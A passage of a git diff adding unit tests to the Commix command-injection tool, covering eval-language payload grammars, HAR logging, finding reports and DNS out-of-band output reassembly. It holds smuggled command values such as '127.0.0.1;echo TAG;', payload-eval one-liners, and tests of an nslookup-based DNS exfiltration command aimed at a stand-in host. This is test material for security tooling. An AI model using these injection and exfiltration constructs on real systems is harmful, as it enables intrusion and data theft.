"EXECUTION_FUNCTIONS_LVL1", "EXECUTION_FUNCTIONS_LVL2", "EXECUTION_FUNCTIONS_LVL3", + "PREFIXES_LVL1", "PREFIXES_LVL2", "PREFIXES_LVL3", + "SUFFIXES_LVL1", "SUFFIXES_LVL2", "SUFFIXES_LVL3", + "SEPARATORS_LVL1", "SEPARATORS_LVL2", "SEPARATORS_LVL3") + +def grammars(): + loaded = {} + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for path in sorted(glob.glob(os.path.join(root, "src", "core", "eval", "grammars", "*.py"))): + name = os.path.basename(path)[:-len(".py")] + if name == "__init__": + continue + loaded[name] = importlib.import_module("src.core.eval.grammars." + name) + return loaded + +class GrammarCompleteness(unittest.TestCase): + def test_every_grammar_declares_what_the_techniques_ask_it_for(self): + missing = [] + for name, grammar in grammars().items(): + for attribute in REQUIRED: + if not hasattr(grammar, attribute): + missing.append(name + ": " + attribute) + self.assertEqual([], missing) + + def test_a_grammar_is_named_after_its_own_file(self): + self.assertEqual([], [name for name, grammar in grammars().items() if grammar.NAME != name]) + + def test_each_level_holds_the_one_below_it(self): + offenders = [] + for name, grammar in grammars().items(): + for table in ("PREFIXES", "SUFFIXES", "SEPARATORS", "EXECUTION_FUNCTIONS"): + levels = [set(getattr(grammar, table + "_LVL" + str(_))) for _ in (1, 2, 3)] + if not (levels[0] <= levels[1] <= levels[2]): + offenders.append(name + ": " + table) + self.assertEqual([], offenders) + + def test_the_execution_functions_are_not_empty(self): + self.assertEqual([], [name for name, grammar in grammars().items() + if not grammar.EXECUTION_FUNCTIONS_LVL1]) + +class GrammarSeparators(unittest.TestCase): + """ + An evaluated language chains its own statements, so its separators are its own - not the shell's. + """ + def test_no_grammar_offers_a_shell_separator(self): + offenders = [] + for name, grammar in grammars().items(): + for separator in grammar.SEPARATORS_LVL3: + if separator in ("&", "&&", "|", "||"): + offenders.append(name + ": " + repr(separator)) + self.assertEqual([], offenders) + +""" +How each language is asked to evaluate the payload left in the file named by 'COMMIX_PAYLOAD'. + +Python is told which mode to read it in: an expression where the sink carried no terminator, a +statement where it did, which is the difference 'eval()' and 'exec()' make on the target itself. +""" +EVALUATORS = { + "python": ["python3", "-c", + "import os;src=open(os.environ['COMMIX_PAYLOAD']).read();" + "exec(compile(src,'payload',os.environ['COMMIX_MODE']))"], + "perl": ["perl", "-e", + "open my $f,'<',$ENV{COMMIX_PAYLOAD} or die;my $c=do{local $/;<$f>};eval $c;die $@ if $@;"], + "ruby": ["ruby", "-e", "eval(File.read(ENV['COMMIX_PAYLOAD']))"], + "lua": ["lua", "-e", "local f=io.open(os.getenv('COMMIX_PAYLOAD'));local s=f:read('*a');" + "assert(load('return '..s) or load(s))()"], + "php": ["php", "-r", "eval(file_get_contents(getenv('COMMIX_PAYLOAD')));"], + "javascript": ["node", "-e", + "eval(require('fs').readFileSync(process.env.COMMIX_PAYLOAD,'utf8'))"], + "powershell": ["pwsh", "-NoProfile", "-Command", + "Invoke-Expression (Get-Content -Raw $env:COMMIX_PAYLOAD)"], +} + +class GrammarPayloads(unittest.TestCase): + """ + What a grammar declares is one thing; what a technique builds out of it is another. The payload is + assembled here and handed to the interpreter itself, which is the only thing that can say whether + the language reads it - that the wrapping closes, that the terminator falls outside it, and that + the two halves are of types the language will put together. + + A language with no interpreter on this host is passed over rather than failed. + """ + def _evaluate(self, name, grammar, separator, work): + from src.utils import settings + from src.core.eval.payloads import tempfile_based as payloads + settings.EVAL_GRAMMAR = grammar + written = os.path.join(work, "output_" + name + ".txt") + tag = "TAG" + name[:3].upper() + # No delay at all: what is read here is whether the expression holds together, not how long for. + payload = payloads.decision(separator, len(tag), tag, written, 0, "GET") + path = os.path.join(work, "payload_" + name + ("_statement" if separator else "_expression")) + with open(path, "w") as handle: + handle.write(payload) + environment = dict(os.environ, COMMIX_PAYLOAD=path, + COMMIX_MODE="exec" if separator else "eval") + done = subprocess.run(EVALUATORS[name], capture_output=True, text=True, + timeout=60, env=environment) + return done, written, tag + + def test_a_payload_is_something_its_own_language_can_read(self): + from src.utils import settings + previous = getattr(settings, "EVAL_GRAMMAR", None) + offenders, reached = [], [] + try: + with tempfile.TemporaryDirectory() as work: + for name, grammar in sorted(grammars().items()): + argv = EVALUATORS.get(name) + if not argv or not shutil.which(argv[0]): + continue + reached.append(name) + for separator in ("", grammar.TERMINATOR): + shape = "statement" if separator else "expression" + done, written, tag = self._evaluate(name, grammar, separator, work) + if done.returncode != 0: + complaint = (done.stderr or "").strip().splitlines() + offenders.append(name + " (" + shape + "): " + + (complaint[0][:120] if complaint else "exited " + str(done.returncode))) + continue + landed = "" + if os.path.isfile(written): + with open(written) as handle: + landed = handle.read() + if tag not in landed: + offenders.append(name + " (" + shape + "): the command never wrote its output") + finally: + settings.EVAL_GRAMMAR = previous + if not reached: + self.skipTest("none of the evaluated languages are installed on this host") + self.assertEqual([], offenders) + +class WhatAGrammarReadsBackOffAnOutput(unittest.TestCase): + """ + A length and an ordinal are what the blind techniques have instead of the output itself, so what + they read has to be the same thing the techniques reading a substitution hand back. A trim that + took every kind of whitespace reported an output ending in a space shorter than it is, and an + ordinal written without brackets of its own was read as one side of the comparison wrapped around + it rather than as the byte - every comparison came back true, and the search for a byte converged + on the top of its pool whatever the byte was. + + Asked of the interpreter rather than of a spelling written out here: each of these is a question + about how the language reads what the grammar writes, which only the language can answer. One + that is not installed on this host is passed over rather than failed. + """ + PRINTERS = { + "python": ["python3", "-c", "print(%s)"], + "ruby": ["ruby", "-e", "print(%s)"], + "perl": ["perl", "-e", "print(%s)"], + "lua": ["lua", "-e", "print(%s)"], + "php": ["php", "-r", "echo(%s);"], + "javascript": ["node", "-e", "console.log(%s)"], + } + TRUE = ("1", "true", "True") + FALSE = ("", "0", "false", "False") + + def _answer(self, name, expression): + argv = list(self.PRINTERS[name]) + argv[-1] = argv[-1].replace("%s", expression) + done = subprocess.run(argv, capture_output=True, text=True, timeout=60) + self.assertEqual(0, done.returncode, + name + " could not read '" + expression[:90] + "': " + (done.stderr or "").strip()[:160]) + return done.stdout.strip() + + def _installed(self): + for name, grammar in sorted(grammars().items()): + argv = self.PRINTERS.get(name) + if argv and shutil.which(argv[0]): + yield name, grammar + + def test_the_length_counts_the_whitespace_an_output_ends_with(self): + reached = [] + for name, grammar in self._installed(): + reached.append(name) + # 'AB' and two spaces, then two newlines: a substitution drops the newlines and keeps the + # spaces, which is four characters. + written = grammar.length(grammar.trim(grammar.run("printf 'AB \\n\\n'"))) + self.assertEqual("4", self._answer(name, written), name + " counted it differently") + if not reached: + self.skipTest("none of the evaluated languages are installed on this host") + + def test_a_carriage_return_an_output_ends_with_is_counted_too(self): + for name, grammar in self._installed(): + # A substitution stops at the first byte that is not a newline, and a carriage return is one + # of those: 'AB' and a CRLF is three characters, not two. + written = grammar.length(grammar.trim(grammar.run("printf 'AB\\r\\n'"))) + self.assertEqual("3", self._answer(name, written), name + " counted it differently") + + def test_a_length_and_an_ordinal_are_read_off_the_bytes(self): + for name, grammar in self._installed(): + # Three Greek letters: six bytes, three of whatever a language calls a character. Counted the + # second way, the search asks about half the output and the rest comes back as nothing. + written = grammar.run("printf '\\316\\261\\316\\262\\316\\263'") + self.assertEqual("6", self._answer(name, grammar.length(grammar.trim(written))), + name + " did not count the bytes") + self.assertEqual("177", self._answer(name, grammar.ordinal(grammar.trim(written), 1)), + name + " did not read the second byte") + self.assertEqual("0", self._answer(name, grammar.ordinal(grammar.trim(written), 99)), + name + " answered something for a byte that is not there") + + def test_an_ordinal_is_the_byte_and_not_the_comparison_around_it(self): + for name, grammar in self._installed(): + byte = grammar.ordinal(grammar.trim(grammar.run("printf 'A'")), 0) + self.assertEqual("65", self._answer(name, byte), name + " read the byte differently") + # The comparison the blind techniques write around it - answered by the byte, not by a + # fallback that took the comparison for its own right-hand side. + above = byte + grammar.COMPARISON["-ge"] + "200" + self.assertIn(self._answer(name, above), self.FALSE, + name + " read 'A' as standing at or above 200") + below = byte + grammar.COMPARISON["-ge"] + "60" + self.assertIn(self._answer(name, below), self.TRUE, + name + " read 'A' as standing below 60") + +if __name__ == "__main__": + unittest.main() + +class StatementEnders(unittest.TestCase): + """ + A value a sink reads as the whole statement has to be ended somehow, and the grammar's own + terminator is not always available - a filter that rejects ';' takes it away while leaving the + sink itself reachable. Where the language has a second way to end a statement, level 1 carries it + beside the unwrapped prefix it belongs to, since the two are only useful together. + """ + def test_php_can_end_a_statement_without_its_terminator(self): + """ + PHP's close tag ends a statement exactly as ';' does. Without it the first level pairs an + unwrapped value with nothing that ends one, and 'print(`cmd`)' reaches eval() half-written - + which the interpreter refuses as readily as it refuses a payload that never closed its quote. + """ + php = grammars()["php"] + self.assertIn("", php.PREFIXES_LVL1, "the unwrapped value is a first-level prefix") + enders = [s for s in php.SUFFIXES_LVL1 if s and php.TERMINATOR not in s] + self.assertIn("?>", enders, "the close tag ends a statement where ';' cannot be written") + + def test_every_grammar_states_its_own_terminator(self): + for name, grammar in sorted(grammars().items()): + self.assertTrue(getattr(grammar, "TERMINATOR", ""), name + " declares no terminator") diff --git a/tests/test_har.py b/tests/test_har.py new file mode 100644 index 0000000000..309a888f03 --- /dev/null +++ b/tests/test_har.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import gzip +import unittest + +from src.utils import har +from src.utils import settings +from src.core.parse import cmdline as menu +from src.thirdparty.six.moves import urllib as _urllib + +PAGE = "\n\n\n" + ("

the page

\n" * 40) + "\n" + +class ABodyIsKeptTheWayItWasReadBack(unittest.TestCase): + """ + What a file like this is opened for is the answer the target gave. The bytes it arrived + compressed in are not that answer, and stored in its place they leave every entry of a gzipped + response reading as binary under a "text/html" of its own. + """ + def setUp(self): + self._state = (menu.options.har, menu.options.http10, list(har.ENTRIES)) + menu.options.har = "/dev/null" + menu.options.http10 = False + del har.ENTRIES[:] + + def tearDown(self): + (menu.options.har, menu.options.http10) = self._state[:2] + har.ENTRIES[:] = self._state[2] + + def _entry(self, body, raw_body): + request = _urllib.request.Request("http://t/a.php?addr=1", method="GET") + har.collect(request, 200, "OK", {"Content-Type": "text/html", "Content-Encoding": "gzip"}, + body, 1000.0, 1001.0, raw_body=raw_body) + return har.ENTRIES[-1] + + def test_the_page_is_stored_as_text_rather_than_as_what_arrived(self): + raw = gzip.compress(PAGE.encode()) + content = self._entry(PAGE, raw)["response"]["content"] + self.assertEqual(PAGE, content["text"]) + self.assertNotIn("encoding", content) + + def test_the_two_lengths_are_each_their_own(self): + raw = gzip.compress(PAGE.encode()) + response = self._entry(PAGE, raw)["response"] + self.assertEqual(len(PAGE), response["content"]["size"]) + self.assertEqual(len(raw), response["bodySize"]) + + def test_what_the_compression_saved_is_said(self): + raw = gzip.compress(PAGE.encode()) + response = self._entry(PAGE, raw)["response"] + self.assertEqual(len(PAGE) - len(raw), response["content"]["compression"]) + + def test_nothing_is_said_where_nothing_was_saved(self): + self.assertNotIn("compression", self._entry(PAGE, PAGE.encode())["response"]["content"]) + + def test_a_body_that_is_not_text_is_still_kept_whole(self): + binary = b"\x89PNG\r\n\x1a\n\xff\xfe\x00" + content = self._entry(binary, binary)["response"]["content"] + self.assertEqual("base64", content["encoding"]) + +class ATimeIsKeptWithTheOffsetItWasTakenAt(unittest.TestCase): + """ + A bare local timestamp is read as whichever zone whatever opens the file happens to assume, which + moves every entry in it by the difference. + """ + def setUp(self): + self._state = (menu.options.har, menu.options.http10, list(har.ENTRIES)) + menu.options.har = "/dev/null" + menu.options.http10 = False + del har.ENTRIES[:] + + def tearDown(self): + (menu.options.har, menu.options.http10) = self._state[:2] + har.ENTRIES[:] = self._state[2] + + def test_the_timestamp_names_a_zone(self): + request = _urllib.request.Request("http://t/a.php?addr=1", method="GET") + har.collect(request, 200, "OK", {"Content-Type": "text/html"}, "x", 1000.0, 1001.0) + started = har.ENTRIES[-1]["startedDateTime"] + self.assertTrue(started[10:].endswith("Z") or "+" in started[10:] or "-" in started[10:], started) + +if __name__ == '__main__': + unittest.main() + +# eof diff --git a/tests/test_logs.py b/tests/test_logs.py new file mode 100644 index 0000000000..d516314191 --- /dev/null +++ b/tests/test_logs.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import json +import shutil +import tempfile +import unittest + +from src.utils import logs +from src.utils import settings +from src.core.parse import cmdline as menu + +class AFindingReadsTheSameWhereverItIsRead(unittest.TestCase): + """ + The line a finding is written out as is one line, whether it is read off the screen, out of the + log file or out of the report. The command beside it is the exception, and says why: it carries + the request as it went out, because that is what brings the finding back. + """ + PAYLOAD = "QQE;echo TAG;" + + def setUp(self): + self.directory = tempfile.mkdtemp() + self._state = (menu.options.no_logging, menu.options.results_file, menu.options.report_json, + menu.options.url, menu.options.data, settings.REPORT_JSON, + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.LOGGED_FINDINGS_HEADER, settings.LAST_LOGGED_PARAMETER) + menu.options.no_logging = True + menu.options.results_file = None + menu.options.data = None + menu.options.url = "http://t/a.php?addr=QQE" + menu.options.report_json = os.path.join(self.directory, "report.json") + settings.REPORT_JSON = {} + settings.LOGGED_FINDINGS_HEADER = False + settings.LAST_LOGGED_PARAMETER = None + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" + logs.add_finding(os.path.join(self.directory, "logs.txt"), settings.INJECTION_TYPE.RESULTS_BASED_CI, + settings.INJECTION_TECHNIQUE.RESULTS_BASED, "GET", "addr", self.PAYLOAD) + self.finding = settings.REPORT_JSON["findings"][0] + + def tearDown(self): + (menu.options.no_logging, menu.options.results_file, menu.options.report_json, + menu.options.url, menu.options.data, settings.REPORT_JSON, + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.LOGGED_FINDINGS_HEADER, settings.LAST_LOGGED_PARAMETER) = self._state + shutil.rmtree(self.directory, ignore_errors=True) + + def test_the_reported_payload_carries_the_parameters_own_value(self): + self.assertEqual("127.0.0.1;echo TAG;", self.finding["payload"]) + + def test_the_command_carries_what_was_sent_instead(self): + # It is run as it stands, so the stand-in the sink ignores has to stay in it. + self.assertIn(self.PAYLOAD, self.finding["reproduce"]) + + def test_the_difference_between_the_two_is_said_rather_than_left_there(self): + self.assertTrue(any("QQE" in caveat for caveat in self.finding["reproduce_caveats"])) + + def test_the_report_on_disk_says_the_same(self): + with open(menu.options.report_json, encoding=settings.DEFAULT_CODEC) as handle: + self.assertEqual("127.0.0.1;echo TAG;", json.load(handle)["findings"][0]["payload"]) + +class AFindingFoundWithTheValueIsWrittenOutAsItWas(unittest.TestCase): + """ + Nothing stood in for the value, so there is nothing to put back - and a value carried over from a + parameter tested earlier is not this parameter's to write in. + """ + def setUp(self): + self._state = (menu.options.no_logging, menu.options.results_file, menu.options.report_json, + menu.options.url, menu.options.data, settings.REPORT_JSON, + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.LOGGED_FINDINGS_HEADER, settings.LAST_LOGGED_PARAMETER) + self.directory = tempfile.mkdtemp() + menu.options.no_logging = True + menu.options.results_file = None + menu.options.data = None + menu.options.url = "http://t/a.php?addr=1" + menu.options.report_json = os.path.join(self.directory, "report.json") + settings.REPORT_JSON = {} + settings.LOGGED_FINDINGS_HEADER = False + settings.LAST_LOGGED_PARAMETER = None + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "1", "" + logs.add_finding(os.path.join(self.directory, "logs.txt"), settings.INJECTION_TYPE.RESULTS_BASED_CI, + settings.INJECTION_TECHNIQUE.RESULTS_BASED, "GET", "addr", "1;echo TAG;") + self.finding = settings.REPORT_JSON["findings"][0] + + def tearDown(self): + (menu.options.no_logging, menu.options.results_file, menu.options.report_json, + menu.options.url, menu.options.data, settings.REPORT_JSON, + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.LOGGED_FINDINGS_HEADER, settings.LAST_LOGGED_PARAMETER) = self._state + shutil.rmtree(self.directory, ignore_errors=True) + + def test_the_payload_is_the_one_that_was_sent(self): + self.assertEqual("1;echo TAG;", self.finding["payload"]) + + def test_nothing_is_said_about_a_stand_in(self): + self.assertNotIn("reproduce_caveats", self.finding) + +if __name__ == '__main__': + unittest.main() + +# eof diff --git a/tests/test_oob_dns.py b/tests/test_oob_dns.py new file mode 100644 index 0000000000..3681d2e895 --- /dev/null +++ b/tests/test_oob_dns.py @@ -0,0 +1,658 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import binascii +import os +import sys +import re +import unittest +import unittest.mock as mock + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +sys.argv = ["commix.py"] + +from src.utils import settings +from src.core.techniques.oob import oob_payloads as payloads +from src.core.techniques.oob import oob_injector +from src.core.oob.provider import Interaction + + +def _hex(text): + return binascii.hexlify(text.encode(settings.DEFAULT_CODEC)).decode() + + +class MockChannel: + """Minimal OOB channel returning a fixed set of DNS interactions.""" + + def __init__(self): + self._interactions = {} # token -> [Interaction] + self._labels = {} # id(interaction) -> [label, ...] + self._np_counter = 0 + + def add(self, token, index, total, hex_data): + label0 = str(index) + "-" + (str(total) if total is not None else "") + itr = Interaction(protocol="dns", identifier="dummy." + token, raw_request="") + self._labels[id(itr)] = [label0] + hex_data if isinstance(hex_data, list) else [label0, hex_data] + self._interactions.setdefault(token, []).append(itr) + return itr + + def seen(self, token, protocol=None): + hits = list(self._interactions.get(token, [])) + return [i for i in hits if i.protocol == protocol] if protocol else hits + + def data_of(self, interaction): + return self._labels.get(id(interaction), []) + + def poll_now(self): + pass + + def new_payload(self): + self._np_counter += 1 + token = "t{:012d}".format(self._np_counter) + return token, "corrid" + token + ".oast.fun" + + +# --------------------------------------------------------------------------- +# decode_dns_output — pure reassembly from a chunks dict +# --------------------------------------------------------------------------- + +class TestDecodeDnsOutput(unittest.TestCase): + + def test_single_chunk_ascii(self): + self.assertEqual(payloads.decode_dns_output({1: _hex("hello")}), "hello") + + def test_multiple_chunks_in_order(self): + hexed = _hex("hello world") + mid = (len(hexed) // 2) & ~1 # keep even so no half-byte + self.assertEqual( + payloads.decode_dns_output({1: hexed[:mid], 2: hexed[mid:]}), + "hello world", + ) + + def test_chunks_out_of_order_reassembled_correctly(self): + hexed = _hex("abcdef") + mid = (len(hexed) // 2) & ~1 + # deliver chunk 2 first + self.assertEqual( + payloads.decode_dns_output({2: hexed[mid:], 1: hexed[:mid]}), + "abcdef", + ) + + def test_trailing_newline_stripped(self): + self.assertEqual(payloads.decode_dns_output({1: _hex("hello\n")}), "hello") + + def test_trailing_crlf_stripped(self): + self.assertEqual(payloads.decode_dns_output({1: _hex("hello\r\n")}), "hello") + + def test_empty_chunks_returns_empty_string(self): + self.assertEqual(payloads.decode_dns_output({}), "") + + def test_non_ascii_bytes_round_trip(self): + # od -tx1 encodes every byte, so non-ASCII survives the round trip. + raw = b"\xc3\xa9l\xc3\xa8ve" # UTF-8 "élève" + hexed = binascii.hexlify(raw).decode() + result = payloads.decode_dns_output({1: hexed}) + self.assertEqual(result.encode(settings.DEFAULT_CODEC, errors="replace"), raw) + + def test_gap_in_chunk_indices_returns_partial_decode(self): + # decode_dns_output joins whatever chunks arrived in index order; a gap does not + # crash it. INCOMPLETE_OUTPUT is set by _dns_output after the loop, not here. + hexed = _hex("abcdef") + third = (len(hexed) // 3) & ~1 + # chunks 1 and 3 present; chunk 2 missing — result is defined but not "abcdef" + result = payloads.decode_dns_output({1: hexed[:third], 3: hexed[third * 2:]}) + self.assertIsInstance(result, str) + + def test_contiguous_chunks_do_not_set_incomplete(self): + hexed = _hex("hello world") + mid = (len(hexed) // 2) & ~1 + settings.INCOMPLETE_OUTPUT = False + payloads.decode_dns_output({1: hexed[:mid], 2: hexed[mid:]}) + self.assertFalse(settings.INCOMPLETE_OUTPUT) + + def test_hex_labels_are_lowercased_by_resolver(self): + # A resolver may uppercase labels; decode_dns_output must still work. + hexed = _hex("hi").upper() + self.assertEqual(payloads.decode_dns_output({1: hexed}), "hi") + + +# --------------------------------------------------------------------------- +# _dns_output — the chunk-collection loop that drives the mock channel +# --------------------------------------------------------------------------- + +class TestDnsOutputLoop(unittest.TestCase): + + def setUp(self): + settings.OOB_TIMEOUT = 15 + settings.INCOMPLETE_OUTPUT = False + + # --- loop-format (separator `;`/`\n`): label carries "index-total" --- + + def test_loop_format_single_chunk(self): + token = "aaa" + ch = MockChannel() + ch.add(token, index=1, total=1, hex_data=_hex("hello")) + # time: call 1 → deadline base (0), call 2 → inside loop, never reached because + # total is known and len(chunks)>=total breaks before the deadline check. + with mock.patch("time.time", side_effect=[0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "hello") + + def test_loop_format_multi_chunk_all_arrive(self): + token = "bbb" + hexed = _hex("hello world") + mid = (len(hexed) // 2) & ~1 + ch = MockChannel() + ch.add(token, index=1, total=2, hex_data=hexed[:mid]) + ch.add(token, index=2, total=2, hex_data=hexed[mid:]) + with mock.patch("time.time", side_effect=[0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "hello world") + + def test_loop_format_out_of_order_arrival(self): + # Chunks registered in reverse order; index key must still sort correctly. + token = "ccc" + hexed = _hex("xyz123") + mid = (len(hexed) // 2) & ~1 + ch = MockChannel() + ch.add(token, index=2, total=2, hex_data=hexed[mid:]) + ch.add(token, index=1, total=2, hex_data=hexed[:mid]) + with mock.patch("time.time", side_effect=[0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "xyz123") + + # --- xargs-format (separator `&`/`|`): label carries "index-" (no total) --- + # quiet_polls reaches 2 after two iterations with no new chunks → break. + + def test_xargs_format_exits_on_quiet_polls(self): + token = "ddd" + ch = MockChannel() + ch.add(token, index=1, total=None, hex_data=_hex("world")) + # time calls: [0] deadline base, [0] iter1 deadline check, [0] iter2 check. + # iter3: quiet_polls==2 → break before deadline check. + with mock.patch("time.time", side_effect=[0, 0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "world") + + def test_xargs_format_hex_label_split_across_parts(self): + # `data_of` may return more than two elements; labels[1:] are joined. + token = "eee" + ch = MockChannel() + ch.add(token, index=1, total=None, hex_data=["61", "62"]) # "ab" split + with mock.patch("time.time", side_effect=[0, 0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "ab") + + # --- timeout and partial output --- + + def test_timeout_partial_chunks_sets_incomplete(self): + token = "fff" + hexed = _hex("hi there") + mid = (len(hexed) // 2) & ~1 + ch = MockChannel() + ch.add(token, index=1, total=2, hex_data=hexed[:mid]) + # chunk 2 never arrives; deadline passes immediately inside the loop. + # time: call 1 → 0 (deadline base, deadline = 30), call 2 → 9999 (past deadline). + settings.INCOMPLETE_OUTPUT = False + with mock.patch("time.time", side_effect=[0, 9999]): + with mock.patch("time.sleep"): + oob_injector._dns_output(ch, token) + self.assertTrue(settings.INCOMPLETE_OUTPUT) + + def test_no_interactions_returns_empty_string(self): + ch = MockChannel() + with mock.patch("time.time", side_effect=[0, 9999]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, "ggg") + self.assertEqual(result, "") + + def test_interaction_with_too_few_labels_skipped(self): + # A label list shorter than 2 must be silently ignored. + token = "hhh" + ch = MockChannel() + itr = Interaction(protocol="dns", identifier="dummy." + token, raw_request="") + ch._labels[id(itr)] = ["1-1"] # only one label, no hex part + ch._interactions[token] = [itr] + with mock.patch("time.time", side_effect=[0, 9999]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "") + + def test_non_digit_index_label_skipped(self): + # A label whose first part is not a digit must not crash or add to chunks. + token = "iii" + ch = MockChannel() + itr = Interaction(protocol="dns", identifier="dummy." + token, raw_request="") + ch._labels[id(itr)] = ["probe-1", _hex("x")] # "probe" is not a digit + ch._interactions[token] = [itr] + with mock.patch("time.time", side_effect=[0, 9999]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "") + + def test_gap_in_chunk_indices_sets_incomplete(self): + # Chunks 1 and 3 arrive (total=3); chunk 2 never does. + # Deadline passes before total is satisfied → INCOMPLETE_OUTPUT set. + token = "kkk" + hexed = _hex("abcdef") + third = (len(hexed) // 3) & ~1 + ch = MockChannel() + ch.add(token, index=1, total=3, hex_data=hexed[:third]) + ch.add(token, index=3, total=3, hex_data=hexed[third * 2:]) + settings.INCOMPLETE_OUTPUT = False + # time: call 1 → 0 (deadline=30), call 2 → 9999 (past deadline immediately) + with mock.patch("time.time", side_effect=[0, 9999]): + with mock.patch("time.sleep"): + oob_injector._dns_output(ch, token) + self.assertTrue(settings.INCOMPLETE_OUTPUT) + + def test_trailing_newline_stripped_end_to_end(self): + # The pipeline always appends a newline; _dns_output must strip it. + token = "jjj" + ch = MockChannel() + ch.add(token, index=1, total=1, hex_data=_hex("result\n")) + with mock.patch("time.time", side_effect=[0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "result") + + +# --------------------------------------------------------------------------- +# Gap 1: dns_exfil_command label format vs. _dns_output expectations +# --------------------------------------------------------------------------- + +class TestDnsExfilCommandFormat(unittest.TestCase): + + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + + def tearDown(self): + settings.TARGET_OS = settings.OS.UNIX + + # Loop-format separators (`;` and `\n`) use a while-loop that knows its total. + def test_loop_separator_contains_index_total_pattern(self): + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", ";") + self.assertIn("$n-$t", cmd) + + def test_loop_separator_encodes_output_with_od(self): + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", ";") + self.assertIn("od -An -v -tx1", cmd) + + def test_loop_separator_contains_lookup_command(self): + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", ";") + self.assertIn("nslookup", cmd) + + # Xargs-format separators (`&` and `|`) number chunks with `cat -n` + `tr`. + def test_xargs_separator_contains_cat_n(self): + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", "&") + self.assertIn("cat -n", cmd) + + def test_xargs_separator_converts_tab_to_dot(self): + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", "&") + self.assertIn("tr '\\t' '.'", cmd) + + def test_xargs_separator_has_no_total_label(self): + # Xargs format produces plain numbering ("1."), not "1-3" + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", "&") + self.assertNotIn("$n-$t", cmd) + + def test_xargs_label_parses_in_dns_output_loop(self): + # labels[0] = "1" (no dash) is still parsed correctly via partition("-"). + token = "parsexargs" + ch = MockChannel() + hexed = _hex("ok") + itr = Interaction(protocol="dns", identifier="dummy." + token, raw_request="") + ch._labels[id(itr)] = ["1", hexed] # plain index, no dash + ch._interactions[token] = [itr] + with mock.patch("time.time", side_effect=[0, 0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "ok") + + def test_windows_uses_powershell_and_bitconverter(self): + settings.TARGET_OS = settings.OS.WINDOWS + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", "&") + self.assertIn("powershell", cmd.lower()) + self.assertIn("BitConverter", cmd) + + def test_windows_label_carries_index_total(self): + settings.TARGET_OS = settings.OS.WINDOWS + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", "&") + # PowerShell embeds ($i/chunk)+1 and $t in the nslookup target + self.assertIn("$t", cmd) + self.assertIn("nslookup", cmd) + + +# --------------------------------------------------------------------------- +# Gap 2: Interactsh identifier parsing (_token_of / data_of) +# --------------------------------------------------------------------------- + +class TestInteractshParsing(unittest.TestCase): + + CORR = "aabbccddeeaabbccddee" # 20-char correlation id + TOKEN = "aaabbbcccddd" # 13-char probe token + + def _client(self): + from src.core.oob.interactsh import Interactsh + c = Interactsh.__new__(Interactsh) + c.correlation_id = self.CORR + c.domain = "oast.fun" + return c + + def _itr(self, identifier): + return Interaction(protocol="dns", identifier=identifier, raw_request="") + + def test_token_of_plain_probe(self): + identifier = self.CORR + self.TOKEN + ".oast.fun" + self.assertEqual(self._client()._token_of(self._itr(identifier)), self.TOKEN) + + def test_token_of_data_carrying(self): + identifier = "1-3.deadbeef." + self.CORR + self.TOKEN + ".oast.fun" + self.assertEqual(self._client()._token_of(self._itr(identifier)), self.TOKEN) + + def test_token_of_unknown_returns_none(self): + self.assertIsNone(self._client()._token_of(self._itr("unknown.label.oast.fun"))) + + def test_data_of_plain_probe_is_empty(self): + identifier = self.CORR + self.TOKEN + ".oast.fun" + self.assertEqual(self._client().data_of(self._itr(identifier)), []) + + def test_data_of_single_chunk(self): + chunk = "6865786f6b" + identifier = 